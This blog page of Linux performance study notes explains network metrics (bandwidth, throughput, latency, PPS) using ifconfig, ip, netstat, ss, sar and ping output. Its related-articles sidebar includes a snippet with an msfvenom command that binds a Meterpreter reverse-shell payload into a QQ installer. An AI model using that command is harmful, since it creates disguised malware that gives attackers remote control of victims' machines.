Linux性能优化实战学习笔记:第三十四讲

使用基于物质点法(MPM)的Anura3D模拟沙柱坍塌 本博客使用开源软件Anura3D软件模拟了一个沙柱坍塌的过程,这个软件是基于基于物质点法(MPM)设计的 阅读详情

一、上节回顾

上一节,我带你学习了 Linux 网络的基础原理。简单回顾一下,Linux 网络根据 TCP/IP模型,构建其网络协议栈。TCP/IP 模型由应用层、传输层、网络层、网络接口层等四层组
成,这也是 Linux 网络栈最核心的构成部分。

应用程序通过套接字接口发送数据包时,先要在网络协议栈中从上到下逐层处理,然后才最终送到网卡发送出去;而接收数据包时,也要先经过网络栈从下到上的逐层处理,最后送到应用程序。

了解 Linux 网络的基本原理和收发流程后,你肯定迫不及待想知道,如何去观察网络的性能情况。具体而言,哪些指标可以用来衡量 Linux 的网络性能呢?

二、性能指标

实际上,我们通常用带宽、吞吐量、延时、PPS(Packet Per Second)等指标衡量网络的性能。

带宽:表示链路的最大传输速率,单位通常为 b/s (比特 / 秒)。

吞吐量:表示单位时间内成功传输的数据量,单位通常为 b/s(比特 / 秒)或者B/s(字节 / 秒)。吞吐量受带宽限制,而吞吐量 / 带宽,也就是该网络的使用率。

延时:表示从网络请求发出后,一直到收到远端响应,所需要的时间延迟。在不同场景中,这一指标可能会有不同含义。比如,它可以表示,建立连接需要的时间(比如 TCP
   握手延时),或一个数据包往返所需的时间(比如 RTT)。

PPS:是 Packet Per Second(包 / 秒)的缩写,表示以网络包为单位的传输速率。PPS 通常用来评估网络的转发能力,比如硬件交换机,通常可以达到线性转发(即 PPS
      可以达到或者接近理论最大值)。而基于 Linux 服务器的转发,则容易受网络包大小的影响。
 

除了这些指标,网络的可用性(网络能否正常通信)、并发连接数(TCP 连接数量)、丢包率(丢包百分比)、重传率(重新传输的网络包比例)等也是常用的性能指标。

接下来,请你打开一个终端,SSH 登录到服务器上,然后跟我一起来探索、观测这些性能指标。

三、网络配置

分析网络问题的第一步,通常是查看网络接口的配置和状态。你可以使用 ifconfig 或者 ip命令,来查看网络的配置。我个人更推荐使用 ip 工具,因为它提供了更丰富的功能和更易
用的接口。

以网络接口 eth0 为例,你可以运行下面的两个命令,查看它的配置和状态:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

root@luoahong:~# ifconfig ens34

ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

        inet 192.168.118.74  netmask 255.255.255.0  broadcast 192.168.118.255

        inet6 fe80::20c:29ff:fe03:d3a7  prefixlen 64  scopeid 0x20<link>

        ether 00:0c:29:03:d3:a7  txqueuelen 1000  (Ethernet)

        RX packets 460768  bytes 587423814 (587.4 MB)

        RX errors 0  dropped 100  overruns 0  frame 0

        TX packets 122590  bytes 29027840 (29.0 MB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

 

root@luoahong:~# ip -s addr show dev ens34

2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000

    link/ether 00:0c:29:03:d3:a7 brd ff:ff:ff:ff:ff:ff

    inet 192.168.118.74/24 brd 192.168.118.255 scope global dynamic ens34

       valid_lft 66745sec preferred_lft 66745sec

    inet6 fe80::20c:29ff:fe03:d3a7/64 scope link

       valid_lft forever preferred_lft forever

    RX: bytes  packets  errors  dropped overrun mcast

    587440742  460987   0       100     0       0

    TX: bytes  packets  errors  dropped carrier collsns

    29036492   122677   0       0       0       0

你可以看到,ifconfig 和 ip 命令输出的指标基本相同,只是显示格式略微不同。比如,它们都包括了网络接口的状态标志、MTU 大小、IP、子网、MAC 地址以及网络包收发的统计信息。

这些具体指标的含义,在文档中都有详细的说明,不过,这里有几个跟网络性能密切相关的指标,需要你特别关注一下。

第一,网络接口的状态标志。ifconfig 输出中的 RUNNING ,或 ip 输出中的LOWER_UP ,都表示物理网络是连通的,即网卡已经连接到了交换机或者路由器中。如
          果你看不到它们,通常表示网线被拔掉了。
第二,MTU 的大小。MTU 默认大小是 1500,根据网络架构的不同(比如是否使用了VXLAN 等叠加网络),你可能需要调大或者调小 MTU 的数值。

第三,网络接口的 IP 地址、子网以及 MAC 地址。这些都是保障网络功能正常工作所必需的,你需要确保配置正确。
第四,网络收发的字节数、包数、错误数以及丢包情况,特别是 TX 和 RX 部分的errors、dropped、overruns、carrier 以及 collisions 等指标不为 0 时,通常表示出现
    了网络 I/O 问题。其中:

1

2

3

4

5

errors 表示发生错误的数据包数,比如校验错误、帧同步错误等;

dropped 表示丢弃的数据包数,即数据包已经收到了 Ring Buffer,但因为内存不足等原因丢包;

overruns 表示超限数据包数,即网络 I/O 速度过快,导致 Ring Buffer 中的数据包来不及处理(队列满)而导致的丢包;

carrier 表示发生 carrirer 错误的数据包数,比如双工模式不匹配、物理电缆出现问题等;

collisions 表示碰撞数据包数。

四、套接字信息

ifconfig 和 ip 只显示了网络接口收发数据包的统计信息,但在实际的性能问题中,网络协议栈中的统计信息,我们也必须关注。你可以用 netstat 或者 ss ,来查看套接字、网络
栈、网络接口以及路由表的信息。

我个人更推荐,使用 ss 来查询网络的连接信息,因为它比 netstat 提供了更好的性能(速度更快)。比如,你可以执行下面的命令,查询套接字信息:

1

2

3

4

5

6

7

8

root@luoahong:~# netstat -nlp|head -n 3

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Programname

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      840/systemd-resolve

root@luoahong:~# ss -ltnp|head -n 3

State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port

LISTEN   0         128           127.0.0.53%lo:53               0.0.0.0:*        users:(("systemd-resolve",pid=840,fd=13))

LISTEN   0         128                 0.0.0.0:22               0.0.0.0:*        users:(("sshd",pid=1215,fd=3))

netstat 和 ss 的输出也是类似的,都展示了套接字的状态、接收队列、发送队列、本地地址、远端地址、进程 PID 和进程名称等。

其中,接收队列(Recv-Q)和发送队列(Send-Q)需要你特别关注,它们通常应该是0。当你发现它们不是 0 时,说明有网络包的堆积发生。当然还要注意,在不同套接字状态下,它们的含义不同。

1、当套接字处于连接状态(Established)时,

Recv-Q 表示套接字缓冲还没有被应用程序取走的字节数(即接收队列长度)。而 Send-Q 表示还没有被远端主机确认的字节数(即发送队列长度)。

2、当套接字处于监听状态(Listening)时,

Recv-Q 表示 syn backlog 的当前值。而 Send-Q 表示最大的 syn backlog 值。

而 syn backlog 是 TCP 协议栈中的半连接队列长度,相应的也有一个全连接队列(accept queue),它们都是维护 TCP 状态的重要机制。

3、什么是半路连接?

顾名思义,所谓半连接,就是还没有完成 TCP 三次握手的连接,连接只进行了一半,而服务器收到了客户端的 SYN 包后,就会把这个连接放到半连接队列中,然后再向客户端发送
SYN+ACK 包。

4、什么是全路连接?

而全连接,则是指服务器收到了客户端的 ACK,完成了 TCP 三次握手,然后就会把这个连接挪到全连接队列中。这些全连接中的套接字,还需要再被 accept() 系统调用取走,这
样,服务器就可以开始真正处理客户端的请求了。

五、协议栈统计信息

类似的,使用 netstat 或 ss ,也可以查看协议栈的信息:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

root@luoahong:~# netstat -s

Ip:

    Forwarding: 1

    207047 total packets received

    2 with invalid addresses

    216 forwarded

    0 incoming packets discarded

    206829 incoming packets delivered

    119198 requests sent out

    20 outgoing packets dropped

Icmp:

    43 ICMP messages received

    0 input ICMP message failed

    ICMP input histogram:

        destination unreachable: 40

        echo requests: 1

        echo replies: 2

    117 ICMP messages sent

    0 ICMP messages failed

    ICMP output histogram:

        destination unreachable: 114

        echo requests: 2

        echo replies: 1

IcmpMsg:

        InType0: 2

        InType3: 40

        InType8: 1

        OutType0: 1

        OutType3: 114

        OutType8: 2

Tcp:

    415 active connection openings

    3 passive connection openings

    0 failed connection attempts

    7 connection resets received

    1 connections established

    196251 segments received

    124187 segments sent out

    52 segments retransmitted

    0 bad segments received

    226 resets sent

Udp:

    1042 packets received

    139 packets to unknown port received

    0 packet receive errors

    1084 packets sent

    0 receive buffer errors

    0 send buffer errors

    IgnoredMulti: 9264

UdpLite:

TcpExt:

    5 TCP sockets finished time wait in fast timer

    149 delayed acks sent

    9 delayed acks further delayed because of locked socket

    Quick ack mode was activated 3 times

    161413 packet headers predicted

    12736 acknowledgments not containing data payload received

    2975 predicted acknowledgments

    TCPTimeouts: 10

    TCPLossProbes: 13

    TCPLossProbeRecovery: 2

    TCPDSACKOldSent: 3

    TCPDSACKRecv: 9

    6 connections reset due to unexpected data

    7 connections reset due to early user close

    TCPDSACKIgnoredNoUndo: 2

    TCPRcvCoalesce: 91930

    TCPOFOQueue: 10697

    TCPAutoCorking: 1357

    TCPSynRetrans: 40

    TCPOrigDataSent: 27150

    TCPHystartTrainDetect: 1

    TCPHystartTrainCwnd: 16

    TCPKeepAlive: 4

IpExt:

    InBcastPkts: 9264

    InOctets: 580667049

    OutOctets: 23375191

    InBcastOctets: 1053751

    InNoECTPkts: 424052

root@luoahong:~# ss -s

Total: 556 (kernel 2442)

TCP:   4 (estab 1, closed 0, orphaned 0, synrecv 0, timewait 0/0), ports 0

 

Transport Total     IP        IPv6

*     2442      -         -

RAW   1         0         1

UDP   2         2         0

TCP   4         3         1

INET      7         5         2

FRAG      0         0         0

这些协议栈的统计信息都很直观。ss 只显示已经连接、关闭、孤儿套接字等简要统计,而netstat 则提供的是更详细的网络协议栈信息。

比如,上面 netstat 的输出示例,就展示了 TCP 协议的主动连接、被动连接、失败重试、发送和接收的分段数量等各种信息。

六、网络吞吐和 PPS

接下来,我们再来看看,如何查看系统当前的网络吞吐量和 PPS。在这里,我推荐使用我们的老朋友 sar,在前面的 CPU、内存和 I/O 模块中,我们已经多次用到它。

给 sar 增加 -n 参数就可以查看网络的统计信息,比如网络接口(DEV)、网络接口错误(EDEV)、TCP、UDP、ICMP 等等。执行下面的命令,你就可以得到网络接口统计信息:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

root@luoahong:~# sar -n DEV 1

Linux 4.15.0-48-generic (luoahong)  09/03/2019  _x86_64_    (2 CPU)

04:51:51 PM     IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil

04:51:52 PM     ens34      4.95      0.99      0.52      0.80      0.00      0.00      0.00      0.00

04:51:52 PM        lo      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

04:51:52 PM   docker0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

 

04:51:52 PM     IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil

04:51:53 PM     ens34      3.00      1.00      0.18      0.81      0.00      0.00      0.00      0.00

04:51:53 PM        lo      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

04:51:53 PM   docker0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

^C

 

 

Average:        IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil

Average:        ens34      3.66      1.26      0.31      0.79      0.00      0.00      0.00      0.00

Average:           lo      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

Average:      docker0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

这儿输出的指标比较多,我来简单解释下它们的含义。

1、rxpck/s 和 txpck/s 分别是接收和发送的 PPS,单位为包 / 秒。
2、rxkB/s 和 txkB/s 分别是接收和发送的吞吐量,单位是 KB/ 秒。
3、rxcmp/s 和 txcmp/s 分别是接收和发送的压缩数据包数,单位是包 / 秒。
4、%ifutil 是网络接口的使用率,即半双工模式下为 (rxkB/s+txkB/s)/Bandwidth,而全双工模式下为 max(rxkB/s, txkB/s)/Bandwidth

其中,Bandwidth 可以用 ethtool 来查询,它的单位通常是 Gb/s 或者 Mb/s,不过注意这里小写字母 b ,表示比特而不是字节。我们通常提到的千兆网卡、万兆网卡等,单位也
都是比特。如下你可以看到,我的 eth0 网卡就是一个千兆网卡:

1

2

root@luoahong:~#ethtool eth0 | grep Speed

    Speed: 1000Mb/s

七、连通性和延时

最后,我们通常使用 ping ,来测试远程主机的连通性和延时,而这基于 ICMP 协议。比如,执行下面的命令,你就可以测试本机到 114.114.114.114 这个 IP 地址的连通性和延时:
 

1

2

3

4

5

6

7

8

9

root@luoahong:~# ping -c3 114.114.114.114

PING 114.114.114.114 (114.114.114.114) 56(84) bytes of data.

64 bytes from 114.114.114.114: icmp_seq=1 ttl=70 time=22.7 ms

64 bytes from 114.114.114.114: icmp_seq=2 ttl=76 time=25.1 ms

64 bytes from 114.114.114.114: icmp_seq=3 ttl=89 time=23.2 ms

 

--- 114.114.114.114 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2005ms

rtt min/avg/max/mdev = 22.724/23.722/25.186/1.057 ms

ping 的输出,可以分为两部分。

第一部分,是每个 ICMP 请求的信息,包括 ICMP 序列号(icmp_seq)、TTL(生存时间,或者跳数)以及往返延时。

第二部分,则是三次 ICMP 请求的汇总。

比如上面的示例显示,发送了 3 个网络包,并且接收到 3 个响应,没有丢包发生,这说明测试主机到 114.114.114.114 是连通的;平均往返延时(RTT)是 22.7ms,也就是从发
送 ICMP 开始,到接收到 114.114.114.114 回复的确认,总共经历 22.7ms。

作者:罗阿红 出处:http://www.cnblogs.com/luoahong/ 本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。

分类: 深挖计算机基础

好文要顶 关注我 收藏该文  

活的潇洒80
关注 - 2
粉丝 - 213

+加关注

0

0

« 上一篇: Linux性能优化实战学习笔记:第十八讲
» 下一篇: Linux性能优化实战学习笔记:第三十五讲

YOLOv8实战教程:从模型训练到改进的全流程指南 回顾这段YOLOv8的实战历程,从最初的模型训练到后来的各种改进尝试,我深刻体会到目标检测技术的魅力与挑战。YOLOv8作为一款优秀的框架,不仅易用性强,而且具备很强的可扩展性,让我能在其基础上不断创新。未来,我计划在以下几个方向继续探索:一是将YOLOv8与多模态技术结合,尝试实现图像与文本的联合目标检测;二是深入研究自监督学习在YOLOv8中的应用,减少对标注数据的依赖;三是探索YOLOv8在更广泛场景的部署,如机器人、自动驾驶等。 阅读详情

相关推荐

Palantir解密:说人话,到底什么是“本体”?

笔者2018年在云计算公司开展政企数字化专项时,便意识到全面数字化进程背后存在大量未知领域,尤其是未来数字世界的底层架构如何构建这一关键问题。可惜因为种种原因,连那几个小专项最终都未能落地,也就无从深入了。近期看了很多有关Palantir的材料,倒觉得这像是新硅谷(区别于比尔盖茨、扎克伯格等主导的硅谷时代)交出的一份关于“数字世界底层架构”的答案,至于这个答案是否成立、有没有更优解、我们本土对标的版本是什么,可能都还待看。《Palantir解密》系列尝试通过解析Palantir,来系统回答这一问题。

SZSDQJC的博客 2157

ping不通外网 连不上外网

当你发现试过网上的大多数可以搜到的博客之后还ping 不通 www.baidu.com 的时候你的福音终于来了 看这里 你是不是报这个错 ping: www.baidu.com: Name or service not known 或者是这个 ping: 114.114.114.114: connect: Network is unreachable 不慌,遇到这篇文章就是你的福音!!! 记得双击么么哒 没错就是这个命令 netstat -rn 可以看到这些个展示 Kernel IP

Lizhiyi_LBB的博客 1万+

缺陷检测-金属表面缺陷检测

1介绍 缺陷检测是工业视觉技术中最重要的组成部分。业务广泛,场景丰富,技术难点高、工作量大。针对不同的场景,选择不同的相机和

huneng1991的专栏 5250

linux网络全景指南

自我介绍:腾讯云网络高级工程师,腾讯云网络核心开发人员。 欢迎微信搜索「职场重生」,关注公众号「职场重生」,后续更多精彩内容发布; 万字长文建议收藏 引言 本期分享一个比较常见的⽹络问题--丢包。例如我们去ping⼀个⽹站,如果能ping通,且⽹站返回信息全⾯,则说明与⽹站服务器的通信是畅通的,如果ping不通,或者⽹站返回的信息不全等,则很可能是数据被丢包了,类似情况想必⼤家都不陌⽣。针对⽹络丢包,本⽂提供⼀些常见的丢包故障定位...

极客重生 1821

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

STM32L051低功耗模式下LPUART的使用

STM32L0系列低功耗UART配置代码清单及注释,大家可参考学习使用。

嵌入式工程师 2104

网络:抓包分析ping的原理

控制报文协议(Internet Control Message Protocol,ICMP)是 TCP/IP 协议族的一个子协议。ICMP 协议用于在 IP 主机和路由器之间传递控制消息,描述网络是否通畅、主机是否可达、路由器是否可用等网络状态。 由于IP协议简单,数据传输天然存在不可靠,无连接等特点,为了解决数据传输出现的问题,人们引入了ICMP协议。虽然ICMP协议的数据包并不传输用户数据,但是对于用户数据的传递有着重要的作用 ping一下 ping是基于ICMP协议工作的,所以要明白ping的..

OceanStar的博客 1万+

虚拟机扩容——非LVM分区

虚拟机扩容——非LVM分区

ytraister的博客 3905

Linux性能优化实战学习笔记:第四十七讲,网络丢包

Linux性能优化实战学习笔记:第四十七讲 一、上节回顾 上一节,我们梳理了,应用程序容器化后性能下降的分析方法。一起先简单回顾下。 容器利用 Linux 内核提供的命名空间技术,将不同应用程序的运行隔离起来,并用统一的镜像,来管理应用程序的依赖环境。这为应用程序的管理和维护,带来了极大的便捷性,并进一步催生 了微服务、云原生等新一代技术架构。 不过,虽说有很多优势,但容器化也会对应用程序的性能带来一定影响。比如,上一节我们一起分析的 Java 应用,就容易发生启动过慢、运行一段时间后 OOM 退出

jj1130050965的博客 1335

【HDR】曝光融合(Exposure Fusion)

在曝光融合(Exposure Fusion)算法问世之前,多曝光序列合成用于显示的HDR需要两个步骤,第一步是将多张不同曝光的低动态范围图像合成为HDR(例如Debevec提出的加权融合方法),通常HDR为12bit或者16bit;第二步是通过tonemapping对高动态范围HDR进行压缩以支持低动态范围显示设备(例如Durand提出的基于双边滤波的tonemapping算法),一般会压缩至8bit。

专注人工智能,主攻CV 1万+

24. SAP 标准产品里使用 OData 服务的一些细节分享

笔者在编写使用事物码 SEGW 开发 SAP OData 服务的系列步骤时,但凡遇到技术上一些疑难问题,喜欢去参照 SAP 标准产品里是如何使用 OData 服务的,不少问题都可以去参考 SAP 标准产品的 OData 服务实现细节来解决。 因此本文记录笔者在编写本教程的过程中,曾经研究过的 SAP OData 服务实现的一些细节,把这些细节分享给大家,希望能起到参考作用。 同时,教程也不断收到一些朋友在评论区留言,对于不少留言的回复,我也是拿 SAP 标准 OData 服务的实现作为论据来回复的。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 2031

【Linux 性能优化系列】Linux 性能优化 -- 网络性能篇(四) 网络延迟、丢包优化

【Linux 性能优化系列】Linux 性能优化 -- 网络性能篇(三) 网络延迟优化 参考致谢 本博客为博主的学习实践总结,并参考了众多博主的博文,在此表示感谢,博主若有不足之处,请批评指正。 【1】极客时间 -- Linux 性能优化实战 ...

CopperSun 技术博客 2975

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Linux性能优化实战学习笔记:第三十四讲=====网络/带宽

Linux性能优化实战学习笔记:第三十四讲 一、上节回顾 上一节,我带你学习了 Linux 网络的基础原理。简单回顾一下,Linux 网络根据 TCP/IP模型,构建其网络协议栈。TCP/IP 模型由应用层、传输层、网络层、网络接口层等四层组 成,这也是 Linux 网络栈最核心的构成部分。 应用程序通过套接字接口发送数据包时,先要在网络协议栈中从上到下逐层处理,然后才最终送到网卡发送出去;而接收数据包时,也要先经过网络栈从下到上的逐层处理,最后送到应用程序。 了解 Linux 网络的基本原理和收

jj1130050965的博客 535

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Linux性能优化实战学习笔记:第五十八讲

Linux性能优化实战学习笔记:第五十八讲 一、上节回顾 专栏更新至今,咱们专栏最后一部分——综合案例模块也要告一段落了。很高兴看到你没有掉队,仍然在积极学习思考、实践操作,并热情地分享你在实际环境中,遇到过的各种性能问题的 分析思路以及优化方法。 今天是性能优化答疑的第六期。照例,我从综合案例模块的留言中,摘出了一些典型问题,作为今天的答疑内容,集中回复。为了便于你学习理解,它们并不是严格按照文章顺序排列的。每个 问题,我都附上了留言区提问的截屏。如果你需要回顾内容原文,可以扫描每个问题右下方的二

jj1130050965的博客 295

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Linux性能优化实战学习笔记:第二十讲

Linux性能优化实战学习笔记:第二十讲 一、实验环境 1、操作系统 1 2 3 4 5 6 root@openstack:~# lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename:...

jj1130050965的博客 284

Linux性能优化实战学习笔记:第十七讲

Linux性能优化实战学习笔记:第十七讲 一、缓存命中率 1、引子 1、我们想利用缓存来提升程序的运行效率,应该怎么评估这个效果呢? 用衡量缓存好坏的指标 2、有没有哪个指标可以衡量缓存使用的好坏呢? 缓存命中率 3、什么是缓存命中率? 所谓缓存命中率,是指直接通过缓存获取数据的请求次数,占所有数据请求次数的百分比。命中率越高,表示使用缓存带来的收益越高,应用程序的性能也就越好 2、查看系统命中情况的工具 1、缓存在高并发系统的应用 实际上、缓存是现在所有高并发系统必须的核心模块,主

jj1130050965的博客 265

Linux性能优化实战学习笔记:第三十二讲

Linux性能优化实战学习笔记:第三十二讲 一、上节总结 专栏更新至今,四大基础模块的第三个模块——文件系统和磁盘 I/O 篇,我们就已经学完了。很开心你还没有掉队,仍然在积极学习思考和实践操作,并且热情地留言与讨论。 今天是性能优化的第四期。照例,我从 I/O 模块的留言中摘出了一些典型问题,作为今天的答疑内容,集中回复。同样的,为了便于你学习理解,它们并不是严格按照文章顺序排列的。 每个问题,我都附上了留言区提问的截屏。如果你需要回顾内容原文,可以扫描每个问题右下方的二维码查看。 二、问题

jj1130050965的博客 155

Linux性能优化实战学习笔记:第十六讲

Linux性能优化实战学习笔记:第十六讲 一、free数据的来源 1、碰到看不明白的指标时该怎么办吗? 不懂就去查手册。用 man 命令查询 free 的文档、就可以找到对应指标的详细说明。比如,我们执行 man fre... 2、free数据的来源 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

jj1130050965的博客 254

Linux性能优化实战学习笔记:第四十五讲

Linux性能优化实战学习笔记:第四十五讲 一、上节回顾 专栏更新至今,四大基础模块的最后一个模块——网络篇,我们就已经学完了。很开心你还没有掉队,仍然在积极学习思考和实践操作,热情地留言和互动。还有不少同学分享了 在实际生产环境中,碰到各种性能问题的分析思路和优化方法,这里也谢谢你们。 今天是性能优化答疑的第五期。照例,我从网络模块的留言中,摘出了一些典型问题,作为今天的答疑内容,集中回复。同样的,为了便于你学习理解,它们并不是严格按照文章 顺序排列的。 每个问题,我都附上了留言区提问的截屏。如

jj1130050965的博客 227

Linux性能优化实战学习笔记:第五十一讲/perf

Linux性能优化实战学习笔记:第五十一讲 一、上节回顾 上一节,我带你一起学习了常见的动态追踪方法。所谓动态追踪,就是在系统或者应用程序正常运行的时候,通过内核中提供的探针,来动态追踪它们的行为, 从而辅助排查出性能问题的瓶颈。 使用动态追踪,可以在不修改代码、不重启服务的情况下,动态了解应用程序或者内核的行为,这对排查线上问题、特别是不容易重现的问题尤其有效。 在 Linux 系统中,常见的动态追踪方法包括 ftrace、perf、eBPF 以及 SystemTap 等。上节课,我们具体学习了

jj1130050965的博客 926

Linux性能优化实战学习笔记:第三讲==上下文切换

Linux性能优化实战学习笔记:第三讲 一、关于上下文切换的几个为什么 1、 上下文切换是什么? 上下文切换是对任务当前运行状态的暂存和恢复 2、 CPU为什么要进行上下文切换? 当多个进程竞争CPU的时候,CPU为了保证每个进程能公平被调度运行,采取了处理任务时间分片的机制, 轮流处理多个进程,由于CPU处理速度非常快,在人类的感官上认为是并行处理,实际是"伪"并行, 同一时间只有一个任务在运行处理。 3、 上下文切换主要消耗什么资源,为什么说上下文切换次数过多不可取? 根据 Tsuna

jj1130050965的博客 285

Linux性能优化实战学习笔记:第五十七讲

Linux性能优化实战学习笔记:第五十七讲 一、上节回顾 上一节,我带你一起梳理了常见的性能优化思路,先简单回顾一下。我们可以从系统和应用程序两个角度,来进行性能优化。 从系统的角度来说,主要是对 CPU、内存、网络、磁盘 I/O 以及内核软件资源等进行优化。 而从应用程序的角度来说,主要是简化代码、降低 CPU 使用、减少网络请求和磁盘 I/O,并借助缓存、异步处理、多进程和多线程等,提高应用程序的吞吐能力。 性能优化最好逐步完善,动态进行。不要追求一步到位,而要首先保证能满足当前的性能要求。

jj1130050965的博客 196

Linux性能优化实战学习笔记:第二十七讲

Linux性能优化实战学习笔记:第二十七讲 一、案例环境描述 1、环境准备 2CPU,4GB内存 预先安装docker sysstat工具 2、温馨提示 案例中 Python 应用的核心逻辑比较简单,你可能一眼就能看出问题,但实际生产环境中的源码就复杂多了。所以, 我依旧建议,操作之前别看源码,避免先入为主,要把它当成一个黑盒来分析。这样 你可以更好把握住,怎么从系统的资源使用问题出发,分析出瓶颈 所在的应用,以及瓶颈在应用中大概的位置 3、测试环境准备 1、运行目标应用 ?

jj1130050965的博客 488

Linux性能优化实战学习笔记:第五十讲/动态追踪

Linux性能优化实战学习笔记:第五十讲 一、上节回顾 上一节,我以 ksoftirqd CPU 使用率高的问题为例,带你一起学习了内核线程 CPU 使用率高时的分析方法。先简单回顾一下。 当碰到内核线程的资源使用异常时,很多常用的进程级性能工具,并不能直接用到内核线程上。这时,我们就可以使用内核自带的 perf 来观察它们的行为,找出热点函数,进一步定位性能瓶 颈。不过,perf 产生的汇总报告并不直观,所以我通常也推荐用火焰图来协助排查。 其实,使用 perf 对系统内核线程进行分析时,内核线

jj1130050965的博客 653

Linux性能优化实战学习笔记:第三十讲

Linux性能优化实战学习笔记:第三十讲 一、性能指标 二、文件系统I/O性能指标 1、存储空间的使用情况 文件系统向外展示的空间使用,而非磁盘空间的真是用量,因为文件系统的元数据也会占用磁盘空间 2、索引节点的使用情况 如果存储过多的小文件、就可能碰到索引节点容量已满的问题 3、缓存使用情况 如果存储过多的小文件、就可能碰到索引节点容量已满的问题,从而可以减少访问慢速磁盘的次数 4、文件IO 三、磁盘I/O性能指标 四、性能工具 1、文件系统原理 ..

jj1130050965的博客 268

Linux性能优化实战学习笔记:第二讲==平均负载

Linux性能优化实战学习笔记:第二讲 一、平均负载与CPU使用率并没有直接关系 1、平均负载 单位时间内,系统处于可运行状态和不可终端状态的平均进程数也就是平均活跃进程数,它和cpu使用率并没有直接关系, 可运行状态: 正在使用的cpu或者正在等待cpu的进程 不可中断状态 进程是正处于内核关键流程中的进程,并且这些流程是不可打断的,比如最常见的是等待硬件设备I/O响应,也就是我们在ps命令中看到的D状态的状态 或者中断打断的 ,这个时候的 进程处于不可终端状态,如果此时的进程被打断了

jj1130050965的博客 316
上一篇: zabbix经常报警elasticsearch节点TCP连接数过高问题
下一篇: TCP queue 的一些问题
王树民
博客等级 码龄10年 912粉丝 560原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值